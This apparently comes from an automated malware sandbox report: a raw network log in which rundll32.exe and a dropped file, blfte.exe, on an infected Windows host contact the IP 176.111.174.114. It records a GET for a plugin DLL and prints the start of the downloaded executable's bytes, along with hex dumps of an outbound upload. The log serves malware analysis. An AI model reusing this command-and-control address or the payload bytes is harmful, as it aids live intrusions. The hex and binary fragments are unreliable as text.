0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a ff c0 00 11 08 04 00 05 00 03 01 22 00 02 11 01 03 11 01 ff c4 00 1f 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 23 42 b1 c1 15 52 d1 f0 24 33 62 72 82 09 0a 16 17 18 19 1a 25 26 27 28 29 2a 34 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e1 e2 e3 e4 e5 e6 e7 e8 e9 ea f1 f2 f3 f4 f5 f6 f7 f8 f9 fa ff c4 00 1f 01 00 03 01 01 01 01 01 01 01 01 01 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 11 00 02 01 02 04 04 03 04 07 05 04 04 00 01 02 77 00 01 02 03 11 04 05 21 31 06 12 41 51 07 61 71 13 22 32 81 08 14 42 91 a1 b1 c1 09 23 33 52 f0 15 62 72 d1 0a 16 24 34 e1 25 f1 17 18 19 1a 26 27 28 29 2a 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 82 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e2 e3 e4 e5 e6 e7 e8 e9 ea f2 f3 f4 f5 f6 f7 f8 f9 fa ff da 00 0c 03 01 00 02 11 03 11 00 3f 00 fc 50 8a 2f 2e 9f 52 fd 8f 77 5c d2 ec 35 fa 5c 69 9f 07 ce 47 1f 7a 75 7b 17 c1 af d8 53 f6 86 f8 d3 e1 3b 2f 89 1a 56 81 65 a2 f8 4f 50 9e 48 ad 3c 51 e2 2b f5 b7 b5 99 a3 72 92 18 91 43 4f 70 15 c1 56 30 c5 26 d2 08 38 22 bd df e1 ff 00 fc 13 93 e0 87 85 f6 5d 7c 4a f1 de b3 e2 bb c5 5c b5 9e 91 12 e9 b6 28 e0 f4 f3 1c 49 35 c4 67 d9 6d 9f e9 58 d5 c4 e1 e9 68 e5 af 91 ac 28 56 a8 ae 96 87 c5 29 f7 6a c2 7d da fd 19 bd fd 87 ff 00 63 8f 1a 78 7f ec 6f f0 5a 7f 0f c8 cd 95 d4 7c 2f e2 7b e5 b8 07 8c 03 f6 e9 2e a2 2b ea 3c b0 c7 b3 0a f2 1f 88 7f f0 49 df 12 c4 b2 5d fc 0b f8 c9 a4 eb a0 6e 31 e8 fe 27 87 fb 22 f1 cf 50 89 29 79 2d 58 01 c6 f9 26 87 24 7d d1 9e 2a 9e 3f 0f 3d f4 f5 26 b6 0e bc 76 57 f4 3e 45 a4 55 c6 45 76 df 16 7f 67 5f 8e 7f 01 ee a3 8b e2 ef c2 bd 6b 42 8a 79 0a 59 df de 59 37 d8 ef 08 19 fd c5 ca e6 19 c6 3b c6 ec 38 3c f1 5c 5b 6f ef 5d d1 94 65 0b a7 73 85 a9 45 d9 90 c7 1b d0 fd 3f 1a 96 9a f8 ee 29 72 15 cd 76 57 93 b5 44 e3 9f ad 4b 27 6a 6e dd dc 62 b1 94 4d e3 b9 4e 44 3e b5 1d 7e c7 f8 9b fe 0d 34 d5 7c 37 75 f6 7b ff 00 db 9f 74 2e d8 86 e5 3e 18 65 5f ff 00 2a 7c 1f 6f e6 39 aa d6 bf f0 6a 22 dc f5 fd bd f6 ff 00 dd 2d cf fe e5 2b f3 2a de 2b f0 05 29 b8 4f 19 66 bf e9 dd 6f fe 56 7d 64 38 4b 88 a5 1e 65 43 4f f1 43 ff 00 92 3f 1e a3 eb f8 54 be 53 fa 57 ec 8d b7 fc 1a 4e 2e 17 1f f0 f0 1d bc ff 00 d1 29 cf fe e5 6b f2 8b f6 87 f8 44 df b3 ff 00 ed 09 e3 df 80 8f af 8d 58 f8 27 c6 5a a6 80 75 51 6b e4 0b c3 67 77 2d bf 9d e5 ee 6f 2f 7f 97 bb 6e e6 db 9c 64 e3 35 ef 70 ff 00 19 70 df 13 d5 9d 3c b2 bf b4 94 12 6f dd 9c 6c 9e 9f 6a 31 fc 0f 3b 31 c9 73 3c ae 2a 58 aa 7c a9 e8 b5 8b fc 9b 38 a7 39 38 a1 36 7f 1d 39 d1 b3 9a 65 7d 49 e5 0e 65 fe e5 21 56 5e a2 92 9d bc d0 1b 11 f9 7e f4 2a f7 34 f7 eb 5f af bf f0 6e 6f fc 12 17 f6 1d ff 00 82 90 7e cd Data Ascii: --152138533219.jpgContent-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-streamJFIFCC"}!1AQa"q2#BR$3br%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyzw!1AQaq"2B#3Rbr$4%&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz?P/.Rw\5\iGzu{S;/VeOPH<Q+rCOpV0&8"]\|J\(I5gmXh(V)j}cxoZ\|/{.+<I]n1'"P)y-X&$}?=&vW>EUEvg_kByYY7;8<\[o]esE?)rvWDK'jnbMND>~4\|7u{t.>e_\|o9j"-++)OfoV}d8KeCOC?TSWN.)kDX'ZuQkgw-o/nd5pp<olj1;1s<X\|89869e}Ie!V^~4_no~>K-[R9t/w6_gcmA~r 9qXxJ^w<MNH~@C5\|\>;$62>x}<uw5oa?_r3#~?/Oz_W<Cu3V2m yXZW_x[[B$)! zLml[aj3\snV&L3y{NijJ@\|RKE6M%tTQO0hR(()`sKNm;Q!T_\iFE7UrNz6zQQ9 GN&XCTn3iKi}jDB{EP@QEQEP7J2Iw) ($ruNm"a:;bON6(sbUW3N.KKzuPN?N)6(~4'O\|:ED'g#X_I'jN5ET%6N-)<)R>fQEQS OWEfaE/~4QErk>MD\FEC'jmML{h,Q@I<O/4EvEQEih-G@%SR>>1Q@Q@()$J:NPfSloPtZ>a:TNw_-Y&3D8e]KJR~w?47aH'%ozF}KOp$a}#N&\|_7eV94kH`=A!G>6`IJWIVI'Y+98J4UscSLftN5?-Nr~b=m=SY q^Cd-6m#!dk0#=^wb)bBkip.7M(5t_~#[Z<"C/]7rXg5?_Q- xXg561F?W'UW/'c?>3zl+GUGYsh/m&N$A(4rO'Hrv?zd=[5.#7{EL'wsWeGkd+UsxN5.3[CO<n}h<OJ?2"OQ_2+/p1?[uCl~?QWTzY_g?j\|Ef#^-CQ&C.e8`?)Lo.mqx_$f\|(6,>hlfPAbf7/Q_}:}N,D&02Kf0YXI#zv[M<&>JZI4Yo:;O+oY6]X.YU7(.+6N5iSI\|Y--wm.rFk$O\|Z>\|IE"$mm{<T@ ~'<+QjnS~m\|::S,S$?7%~{QEOMe)HzV]M:ecGZJ(:+>@"\|'z{BG+0y~eJ?;}UF>}Ei"~KQR<\|~rseT(4%QPMiUK`!jjdGOOGR0(3(%QLQE((N:t}SN$ I:~4:~4NZu^aRq"AFTg{4l5+.eW(<N#!SN:E)L~=c(A~Xm(VJ_DTQEbhC'jm=~4Vm6NGE=<n(MW)\R&oTQtTTGE:N)N(((nUsj%1%(gwSOm@R8'-.FJuJRB'jGEZwOYE)'- ($BsRlQr'~4/TI\))SRN]J}TPqs3"AZxWW;#?gkk4rDV`+`%gO5\|xzw-STcPT4D9=q_\|.[x+rVTa GAZB\|-jj]iYBgTe"jB3VvSMm]Ofx>7mk&rm@(Io~#x"{8@xDDz\|\|\|W#rC8LUdJ-{evd>3(akVu6wd]$.:oF96Q3GdRJ?GO>y5Sy}GCw_A,_{R]MzeBFm5 f7Q>+Df'@wsCL::}+K.PW/#kg,NI>yCUw7v?a`zI_^z>&9GQ(]4'q9)>=3N~[.X>Q[&5E?gW&\|4nwg5BgeQ9Oor?Qo)\|^Rr8m7^Oj59+%(l_bSMqR<{8Cr9;TFeI3YJ&+WrbgUH6t'pHW+z3<}EZ]/9ch(vV,1"bBcN{g]^_6xic,>I??s!=$L5U_?jPi\|}SZ]XxU1k=woug?duxJ^ZlC2,t<e^pf$'.i:9?X:[vF+NY]D5~IKWO_MIo4mn~&u1<.gnix,WibS{<vNvyQ@GM3czT;P2?//Oz<z\|z8iDRQLoQ~5wq#':~v($tF-vV1!Ry~73ul4KLzmNfcN~)_#Ry($(QN_w>#KXhx/e%7}HDAZ6j"&9QE;co3.$-PD'Zu6>:>DNdMH?ZD)=V]K8O\|P?yA};!\|/)\heIR5~S>qQ4DO&NvXH;vYs2:MRl(2 OeI6'j'j$=HiEH)vDi67>P#'j0E<C.y.9'O(%GRhQEQEfEPQ`(S_:czRQ@)(t}S@Q@S-QEaEPEPEP$F'?ZOoCNu^4<sW[,r["jn_i+sm?Iu3{Fo>qo~\|Zy#z/>/rB) e8j,k.t/pY=gWa0xqJXsP!!mMi$OQO\|[/~;RxBd hc ,UX)<Vd}Z}>[Y'%YrTdyB#]tw}s1o}lC/Wuwe;VAniduOD;\|\|w_+)W[[I-i\[B\ocUK~Ow0uM";g\GHBMpk_b+M_WxlL{gZiwjp?5\|.O\|i]RkM"Y^Orwocv9am_-/?OvuK;&k"D{=ZY#$D5guCOO\|@\|7i/x]Ns.e.a-kwlzF?e^XRUEg+Wgm.v.r;n6M65{KC8<T4GG^/DXL7f!J8V_NNk;oOCz> &i4GDSM=5+iEz>n<w7^Cz&mm=,Ztiu!H"BFq4"VNm&PsItWi7k]5!Nh-7J}ugSTkbb<AJ\|5?t.O#mZ5s\|x@<]jZFZ.tmfE7(i,;VaS^^j\E998KWi-Y4OJ~?O?-[^}O^sx/nQCZX8ci{ElW9h>?gTsztf4dD 6.$6O4qM\d1Gd~3_(yCCMkr~1gjmr}+T&KY&D$nW="aU-'Om['NWKhnV0UIV"jSwJqnre?[J(i/z'Gu;gW'dF1,X 1Q~ gG}#Qa;X\Yyk$HE .ln>~\|js!\|3>}s7766$phTqZUm/VwaJQN/W\|C{i\|>x3kKxW C[8FicGRTl;4ow.\|9y[T]x%#G4t#XL<1d%yp$&vJM=ehE^KW'[FI-L/Tr?cO=_7/K=:Mh?e$VO"O=[KN/c?z!h&t2v#?7\|=-/:\|C=T4-Y-Qsa%4m:mipsi4woV,\yn-Ki+H(P}?J%Ly)R:V\|9Q%+.\|av_::3_Iz9CE}(\#Rq2y~p}NVIiipC2PiRNH>VTITgPW?r}z!}ZH>BcS@H\|P.d@Dh+n1GZQ#.Z-.IwzwGO_!yjH0BNyQEQNJPOkMI\|QJOO'Z}hQW2TRL:ruR?O~ wYS:X-<6AiKEwhHeSY<\dUV$vQ:#!rIZ6l+co%IHT2&sOi_StT?(S\|~@E{G%MloJBV<9s);SjT}_iN'ju5kq;S,R23BrsMhy~QEfEP?TaRR2@e"ENloJ67K5%GOoiy5W<}QEaEPEPEPEPEPV+Q3UL}x3-JE;op\EEm], I,WdVg4.0b_X7gM\-ZZ[G%Kk]?GjOfHw:a\|0{EY6ow.gu"[F#jP^O~Wvho?'\_\-KBT+SOD$$9$h c<K%k{7zidg17.d_eJn'')4NeiRro&kD6}o=\|}~?\x{#mL}6<WikcFPv>\|BLM{O}RUKv6Z$R(E>0B-TQA+\|EN\|vZi{eliU)%h+~~/^_x$k}>[u}2s[xQ3Uuwm\|xOWa >WU.":nbT(eJrbSQM!\|+"{FKm_i]'$OBQiSu?m$5/4dKqk4S^xNI\|S,)7Y^pAgTUT0E{X_R]]vK.$yeQWJw>IkH~(6/7FX\[v-gxyA6G5X[mmo%x^-o]2-=r7"IcL^(#.0&~>P-5[TuxBqRo({Oy]m}},~_W\|<1k<_j_&/-<{>6xNm'L5$2D&{Hgd(fHxj\|]\|ix::~iuEe$xW72JF0yK)@y1!o0wl_%K^e5nk7>_yY}6Uox3S~xh^h::ZJIn%G9kl/^3Z~z~i?fxBj_-5TuAi&FsyrmKX=M7c!;s6+LR,q AYQ=JP].=~~\Y"&nwN?i7[[?j/5u/n4OQmJ[ukxG!6%>kM+a?hZAWKh]EwG#3!FZ9>E6H!8+\|CN;{5h%(M/4w\|$qvY4_+@t39u]<V(R@@l\|Dww-G@CMk;mBZG1q2(TUB+!%#Vx5nfc~?c%\|s_\|H}IttN+R2Ibm'h^bva$4j-7>\B(lTGup;rY8!\|_B#s^NyQy;koK{>hy{Ev#2kCS3OjR,O@>5frZ Zpm0 jdOWxW:Pf4Hdn h"Vb[dn4tCPMi6I4>Vju#vTu4[k_Q~W/$gaKU2~v\|7ogB=[g\|)5.}G\h=kmMH4["8zbc5V":7zk'%guS}W^6nzu^};%u[^?Xj)M5g/m%+s<K!^'"`tOF'r-wd2Z

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
613	192.168.2.5	50079	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
614	176.111.174.114	80	192.168.2.5	50079	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
615	176.111.174.114	80	192.168.2.5	50078	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
616	192.168.2.5	50080	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
617	176.111.174.114	80	192.168.2.5	50080	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
618	192.168.2.5	50082	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
619	176.111.174.114	80	192.168.2.5	50082	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
62	192.168.2.5	49745	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:33.184092045 CEST	1604	OUT	GET /Hnq8vS/plugins/scr.dll HTTP/1.1 Host: 176.111.174.114

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
620	192.168.2.5	50083	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
621	176.111.174.114	80	192.168.2.5	50083	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
622	192.168.2.5	50085	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
623	176.111.174.114	80	192.168.2.5	50085	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
624	192.168.2.5	50087	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
625	176.111.174.114	80	192.168.2.5	50087	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
626	192.168.2.5	50088	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
627	176.111.174.114	80	192.168.2.5	50088	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
628	192.168.2.5	50089	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
629	176.111.174.114	80	192.168.2.5	50089	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
63	176.111.174.114	80	192.168.2.5	49745	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:33.278054953 CEST	1605	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:22:33 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 Last-Modified: Fri, 23 Apr 2021 10:22:18 GMT ETag: "37800-5c0a12ba42a80" Accept-Ranges: bytes Content-Length: 227328 Content-Type: application/octet-stream Data Raw: 4d 5a 50 00 02 00 00 00 04 00 0f 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 ba 10 00 0e 1f b4 09 cd 21 b8 01 4c cd 21 90 90 54 68 69 73 20 70 72 6f 67 72 61 6d 20 6d 75 73 74 20 62 65 20 72 75 6e 20 75 6e 64 65 72 20 57 69 6e 33 32 0d 0a 24 37 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 19 5e 42 2a 00 00 00 00 00 00 00 00 e0 00 8e a1 0b 01 02 19 00 0a 03 00 00 6a 00 00 00 00 00 00 30 19 03 00 00 10 00 00 00 20 03 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 d0 03 00 00 04 00 00 00 00 00 00 02 00 01 00 00 00 00 00 00 00 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 70 03 00 3f 00 00 00 00 50 03 00 d0 12 00 00 00 b0 03 00 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 03 00 08 26 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 43 4f 44 45 00 00 00 00 48 09 03 00 00 10 00 00 00 0a 03 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 44 41 54 41 00 00 00 00 60 12 00 00 00 20 03 00 00 14 00 00 00 0e 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 42 53 53 00 00 00 00 00 a5 0a 00 00 00 40 03 00 00 00 00 00 00 22 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 2e 69 64 61 74 61 00 00 d0 12 00 00 00 50 03 00 00 14 00 00 00 22 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 65 64 61 74 61 00 00 3f 00 00 00 00 70 03 00 00 02 00 00 00 36 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 50 2e 72 65 6c 6f 63 00 00 08 26 00 00 00 80 03 00 00 28 00 00 00 38 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 50 2e 72 73 72 63 00 00 00 00 18 00 00 00 b0 03 00 00 18 00 00 00 60 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 d0 03 00 00 00 00 00 00 78 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 10 40 00 01 07 49 6e 74 65 67 65 72 04 00 00 00 80 ff Data Ascii: MZP@!L!This program must be run under Win32$7PEL^B*j0 @p?P&CODEH `DATA` @BSS@".idataP"@.edata?p6@P.reloc&(8@P.rsrc`@Px@P@Integer
Apr 28, 2021 23:22:33.278095007 CEST	1606	IN	Data Raw: ff ff 7f 8b c0 1c 10 40 00 0a 06 53 74 72 69 6e 67 70 10 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 70 10 40 00 04 00 00 00 00 00 00 00 94 3a 40 00 a0 3a 40 00 a4 3a 40 00 a8 3a 40 00 9c 3a 40 00 e0 Data Ascii: @Stringp@p@:@:@:@:@:@7@7@88@TObject\|@TObjectp@System@IInterfaceFSystemD$KD$KD$K@@@
Apr 28, 2021 23:22:33.278112888 CEST	1608	IN	Data Raw: 89 5c 24 04 8b 3e 8b 7f 08 8b 2e 03 7d 0c 2b fb 89 7c 24 08 2b c8 8b 06 89 48 0c 8d 54 24 04 8b 06 e8 4d fe ff ff 84 c0 75 04 33 c0 eb 18 b0 01 eb 14 8b 06 8b 00 89 06 8b 06 3b 44 24 0c 0f 85 59 ff ff ff 33 c0 83 c4 10 5d 5f 5e 5b c3 90 53 56 57 Data Ascii: \$>.}+\|$+HT$Mu3;D$Y3]_^[SVW}sjh Vj4;t#ECuhjP3_^[SVWUCjh hU;usjh
Apr 28, 2021 23:22:33.278131008 CEST	1609	IN	Data Raw: 8b 06 83 78 0c 00 75 10 8b 06 e8 86 f9 ff ff eb 07 8b 04 24 33 d2 89 10 83 c4 18 5d 5f 5e 5b c3 90 53 83 c4 e8 8b d9 8d 88 ff 3f 00 00 81 e1 00 c0 ff ff 89 0c 24 03 d0 81 e2 00 c0 ff ff 89 54 24 04 8b 44 24 04 3b 04 24 76 5f 8b cb 8b 54 24 04 2b Data Ascii: xu$3]_^[S?$T$D$;$v_T$+$$L$EC]\$tL$T$nD$D$D$D$\|$tT$EC3[UQ3Uh@d2d"hEC=E@CthECECCEC
Apr 28, 2021 23:22:33.278146982 CEST	1610	IN	Data Raw: 24 04 3b d0 76 0a 8d 14 2e 2b d0 e8 7b fe ff ff 8b d4 8b 44 24 08 e8 fc f4 ff ff b3 01 8b c3 83 c4 0c 5d 5f 5e 5b c3 53 56 83 c4 f4 8b da 8b f0 89 34 24 8b 04 24 89 58 08 8b 04 24 03 c3 83 e8 0c 89 58 08 81 fb 00 10 00 00 7f 76 8b c3 85 c0 79 03 Data Ascii: $;v.+{D$]_^[SV4$$X$XvyFCTT$\|$u#FC$L$$P$$D$D$$T$P$T$D$$D$$PV<\|uAFCD$$FCD$D$
Apr 28, 2021 23:22:33.278162956 CEST	1612	IN	Data Raw: 04 01 1d b0 45 43 00 e8 dd 1a 00 00 eb 32 8b c3 e8 40 fd ff ff 89 45 fc 33 c0 5a 59 59 64 89 10 68 3b 25 40 00 80 3d 45 40 43 00 00 74 0a 68 c4 45 43 00 e8 f1 ed ff ff c3 e9 c7 19 00 00 eb e5 8b 45 fc 5b 8b e5 5d c3 90 55 8b ec 83 c4 f0 53 8b d8 Data Ascii: EC2@E3ZYYdh;%@=E@CthECE[]US3EC=ECuuECE3Uh'@d2d"=E@CthEC]EEEuEC EC%)ECtSE@\|
Apr 28, 2021 23:22:33.278176069 CEST	1613	IN	Data Raw: 02 33 db 8b c3 5b c3 8b 08 85 c9 74 32 85 d2 74 18 50 89 c8 ff 15 48 20 43 00 59 09 c0 74 19 89 01 c3 b0 02 e9 a6 00 00 00 89 10 89 c8 ff 15 44 20 43 00 09 c0 75 eb c3 b0 01 e9 90 00 00 00 85 d2 74 10 50 89 d0 ff 15 40 20 43 00 59 09 c0 74 e7 89 Data Ascii: 3[t2tPH CYtD CutP@ CYt@K9t=9@3 CSV=@Ct@Cu8w3L C3^[$PRQ8YZXu1
Apr 28, 2021 23:22:33.278193951 CEST	1615	IN	Data Raw: f7 ee 50 57 8b 03 50 ff 55 0c 85 c0 75 11 e8 8e e2 ff ff e8 a9 fb ff ff 33 c0 89 45 fc eb 3f 8b 45 fc 33 d2 f7 73 08 89 45 fc 8b 45 14 85 c0 74 0a 8b 45 14 8b 55 fc 89 10 eb 23 3b 75 fc 74 1e 8b 45 08 e8 79 fb ff ff 33 c0 89 45 fc eb 0f b8 67 00 Data Ascii: PWPUu3E?E3sEEtEU#;utEy3Egh3EE_^[Y]US]ShhD/@jd[[]SV3fCf=r/f=w)f%f=uSuS$tH@Ctg^[S:vB@
Apr 28, 2021 23:22:33.278212070 CEST	1616	IN	Data Raw: 40 9c 0c 40 00 00 00 00 00 00 50 c3 0f 40 00 00 00 00 00 00 24 f4 12 40 00 00 00 00 00 80 96 98 16 40 00 00 00 00 00 20 bc be 19 40 00 00 00 00 00 28 6b ee 1c 40 00 00 00 00 00 f9 02 95 20 40 00 00 00 00 40 b7 43 ba 23 40 00 00 00 00 10 a5 d4 e8 Data Ascii: @@P@$@@ @(k@ @@C#@&@**@ -@1_0@4@.7@@v:k:@#>@bxA@z&D@n2xH@W?hK@N@@aQYR@oU@: 'X@x9?\
Apr 28, 2021 23:22:33.278228998 CEST	1618	IN	Data Raw: f2 8b d8 85 db 74 0d 8b d6 8b 03 e8 8d 00 00 00 84 c0 75 05 33 c0 5e 5b c3 b0 01 5e 5b c3 8d 40 00 85 c0 74 16 89 c1 8b 09 39 d1 74 0e 8b 49 dc 85 c9 75 f3 b0 0a e9 e6 f0 ff ff c3 90 57 96 eb 02 8b 36 8b 7e d0 85 ff 74 0d 0f b7 0f 51 83 c7 02 f2 Data Ascii: tu3^[^[@t9tIuW6~tQftYvu_X)tG_PQYXtYV^uY9t@u@@@Vf2ftfsP`Xt^^aRQS\|
Apr 28, 2021 23:22:33.373975039 CEST	1620	IN	Data Raw: 57 55 8b 6a 08 83 c1 05 e8 be fc ff ff ff d1 5d 5f 5e 5b b8 01 00 00 00 c3 8b c0 09 c0 75 0a b8 d8 00 00 00 e8 36 06 00 00 5a 54 55 57 56 53 50 52 54 6a 07 6a 01 68 de fa ed 0e 52 ff 25 14 40 43 00 c3 8b 44 24 30 c7 40 04 ab 3f 40 00 e8 6c 24 00 Data Ascii: WUj]_^[u6ZTUWVSPRTjjhR%@CD$0@?@l$B`8tB1dY]_^[@#$ByZd$,1YdX]/1L$D$dUU=,t\=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
630	192.168.2.5	50090	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
631	176.111.174.114	80	192.168.2.5	50090	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
632	192.168.2.5	50091	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
633	192.168.2.5	50092	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
634	176.111.174.114	80	192.168.2.5	50091	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
635	192.168.2.5	50094	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
636	176.111.174.114	80	192.168.2.5	50094	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
